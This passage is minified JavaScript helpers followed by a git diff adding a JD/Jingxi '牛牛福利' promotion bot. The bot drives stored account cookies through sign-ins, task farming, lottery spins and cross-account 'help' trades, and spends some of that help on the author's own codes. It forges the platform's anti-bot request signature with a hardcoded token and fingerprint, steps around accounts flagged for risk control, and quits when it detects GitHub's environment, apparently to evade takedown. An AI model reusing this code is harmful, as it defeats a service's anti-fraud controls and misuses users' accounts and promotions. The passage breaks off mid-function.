15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_nnfls.js b/jd_nnfls.js new file mode 100644 index 0000000..ad983f8 --- /dev/null +++ b/jd_nnfls.js @@ -0,0 +1,584 @@ +/** + 京喜-首页-牛牛福利 + Author:zxx + Date:2021-11-2 + ----------------- + Update: 2021-11-17 修复任务 + ----------------- +先内部助力,有剩余助力作者 + cron 1 0,19,23 * * * https://raw.githubusercontent.com/ZXX2021/jd-scripts/main/jd_nnfls.js + */ +const $ = new Env('牛牛福利'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; +let cookiesArr = []; +let shareCodes = []; +let rcsArr = []; +let coin = 0; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie) + ].filter((item) => !!item); +}; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.isLogin = true; + $.nickName = ''; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + res = await UserSignNew(); + // await drawUserTask(); + } + shareCodes = shareCodes.filter(code => code) + const author = Math.random() > 0.5 ? 'zero205' : 'ZXX2021' + await getShareCode('nnfls.json', author, 3, true) + shareCodes = [...new Set([...shareCodes, ...($.shareCode || [])])]; + if (shareCodes.length > 0) { + console.log(`\n*********开始互助**********\n`); + } + for (let i = 0; i < cookiesArr.length; i++) { + $.cookie = cookiesArr[i]; + $.canHelp = true; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`====开始账号${$.UserName}===助力`) + if (rcsArr.includes($.UserName) > 0) { + console.log("不让助力,休息会!"); + break; + } + for (let j = 0; j < shareCodes.length; j++) { + if (!$.canHelp) { + break; + } + await help(shareCodes[j]); + await $.wait(1000); + } + } + console.log(`\n********执行任务抽奖**********\n`); + for (let i = 0; i < cookiesArr.length; i++) { + $.cookie = cookiesArr[i]; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`====开始账号${$.UserName}===`) + if (rcsArr.includes($.UserName) > 0) { + console.log("不让做任务,休息会!"); + continue; + } + await drawUserTask(); + } + +})().catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') }).finally(() => { $.done(); }) + +function getShareCode(name, author = 'zero205', num = -1, shuffle = false) { + return new Promise(resolve => { + $.get({ + url: `https://raw.fastgit.org/${author}/updateTeam/main/shareCodes/${name}`, + headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + console.log(`优先账号内部互助,有剩余助力次数再帮作者助力`); + $.shareCode = JSON.parse(data) || [] + if (shuffle) { + $.shareCode = $.shareCode.sort(() => 0.5 - Math.random()) + } + if (num != -1) { + $.shareCode = $.shareCode.slice(0, num) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +async function help(sharecode) { + console.log(`${$.UserName} 去助力 ${sharecode}`) + res = await api('sign/helpSign', 'flag,sceneval,token', { flag: 0, token: sharecode }) + await $.wait(3000) + res = await api('sign/helpSign', 'flag,sceneval,token', { flag: 1, token: sharecode }) + if (res) { + switch (res.retCode) { + case 30014: + console.log('不能助力自己'); + break; + case 30010: + console.log('助力已满!'); + break; + case 30011: + console.log('助力次数已用完!'); + $.canHelp = false; + break; + case 30009: + console.log('已助力过!'); + break; + case 60009: + console.log('不让助力,先休息会!'); + rcsArr.push($.UserName); + $.canHelp = false; + break; + case 0: + console.log('助力成功'); + break; + default: + console.log('助力结果' + res.errMsg); + break; + } + } else { + console.log('助力失败!'); + } + await $.wait(2000) +} + +async function drawUserTask() { + res = await api('task/QueryUserTask', 'sceneval,taskType', { taskType: 0 }) + let tasks = [] + if (res.datas) { + for (let t of res.datas) { + if (t.state !== 2) + tasks.push(t.taskid ? t.taskid : t.taskId) + } + } else { + res = await api('task/QueryPgTaskCfg', 'sceneval', {}) + if (tasks.length === 0) { + for (let t of res.data.tasks) { + tasks.push(t.taskid ? t.taskid : t.taskId) + } + } + } + console.log(`总任务数:${res.datas && res.datas.length} 本次执行任务数: ${tasks && tasks.length}`) + await $.wait(2000) + + res = await api('task/QueryPgTaskCfg', 'sceneval', {}) + // console.log('tasks:', res.data.tasks && res.data.tasks.length) + // await $.wait(2000) + for (let t of res.data.tasks) { + if (tasks.includes(t.taskid ? t.taskid : t.taskId)) { + let sleep = (t.param7 ? t.param7 : 2) * 1000 + (Math.random() * 5 + 1) * 1000; + console.log(`任务名:${t.taskName} 浏览时间:${sleep / 1000} s`) + res = await api('task/drawUserTask', 'sceneval,taskid', { taskid: t.taskid ? t.taskid : t.taskId }) + await $.wait(sleep) + res = await api('task/UserTaskFinish', 'sceneval,taskid', { taskid: t.taskid ? t.taskid : t.taskId }) + // console.log(`${JSON.stringify(res)}`) + await $.wait(2000) + + } + } + + res = await api('active/LuckyTwistUserInfo', 'sceneval', {}) + let surplusTimes = res.data.surplusTimes + console.log('剩余抽奖次数', surplusTimes) + for (let j = 0; j < surplusTimes && coin >= 10; j++) { + res = await api('active/LuckyTwistDraw', 'active,activedesc,sceneval', { active: 'rwjs_fk1111', activedesc: encodeURIComponent('幸运扭蛋机抽奖') }) + if (res) { + if (res.retCode == 0) { + console.log('抽奖成功', res.data && res.data.prize ? res.data.prize[0].prizename : "") + } else { + console.log('抽奖失败', res.errMsg ? res.errMsg : "") + } + + } else { + console.log('抽奖失败,返回数据为空') + } + coin -= 10 + await $.wait(5000) + } + await $.wait(2000) +} + +async function UserSignNew() { + let fn = "sign/UserSignNew"; + let stk = "sceneval,source"; + let params = { source: '' }; + let res = await api(fn, stk, params); + if (res) { + if (res.retCode == 60009) { + console.log('风控用户,不让玩') + rcsArr.push($.UserName); + return res; + } + console.log('签到', res.retCode == 0 ? "success" : "fail") + console.log('助力码', res.data.token) + shareCodes.push(res.data.token); + coin = res.data.pgAmountTotal + console.log('金币', coin) + } + return res; +} + + +function decrypturl(url, stk, params, appId = 10012) { + for (const [key, val] of Object.entries(params)) { + url += `&${key}=${val}` + } + url += '&h5st=' + decrypt(url, stk, appId) + return url +} + +function decrypt(url, stk, appId) { + stk = stk || (url ? getJxmcUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date().Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.Jxmctoken && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.Jxmctoken, $.fingerprint.toString(), timestamp.toString(), appId.toString(), CryptoJS).toString(CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.Jxmctoken = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.Jxmctoken}${$.fingerprint}${timestamp}${appId}${random}`; + hash1 = CryptoJS.SHA512(str, $.Jxmctoken).toString(CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getJxmcUrlData(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; + }) + const hash2 = CryptoJS.HmacSHA256(st, hash1.toString()).toString(CryptoJS.enc.Hex); + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat(appId.toString()), "".concat($.Jxmctoken), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +function getJxmcUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} + +async function api(fn, stk, params) { + let url = `https://m.jingxi.com/pgcenter`; + url = await decrypturl(`${url}/${fn}?sceneval=2&_stk=active,activedesc,sceneval&_ste=1&_=${Date.now()}&sceneval=2`, stk, params, 10012) + let myRequest = taskUrl(url); + return new Promise(async resolve => { + let rv = ""; + $.get(myRequest, (err, resp, data) => { + try { + if (data) { + data = JSON.parse(data) + rv = data + } + } catch (e) { + console.log(data); + $.logErr(e, resp) + resolve(); + } finally { + resolve(rv); + } + }) + }) +} + +function taskUrl(url) { + return { + url, + headers: { + "Host": "m.jingxi.com", + "Connection": "keep-alive", + "User-Agent": "jdpingou", + "Accept": "*/*", + "Referer": "https://st.jingxi.com/pingou/taskcenter/index.html", + "Accept-Encoding": "gzip, deflate", + "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "Cookie": $.cookie, + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + } + } +} + +function randomWord(randomFlag, min, max) { + var str = "", + range = min, + arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; + + // 随机产生 + if (randomFlag) { + range = Math.round(Math.random() * (max - min)) + min; + } + for (var i = 0; i < range; i++) { + pos = Math.round(Math.random() * (arr.length - 1)); + str += arr[pos]; + } + return str; +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +Date.prototype.Format = function (fmt) { + var e, + n = this, + d = fmt, + l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { this.env = t } + send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } + get(t) { return this.send.call(this.env, t) } + post(t) { return this.send.call(this.env, t, "POST") } + } + return new class { + constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } + isNode() { return "undefined" != typeof module && !!module.exports } + isQuanX() { return "undefined" != typeof $task } + isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } + isLoon() { return "undefined" != typeof $loon } + toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } + toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { s = JSON.parse(this.getdata(t)) } catch { } + return s + } + setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } + getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) return {}; { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; + return r + } + lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { e = "" } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } + setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } + initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } + get(t, e = (() => { })) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { this.logErr(t) } + }).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => { + const { message: s, response: i } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => { })) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), 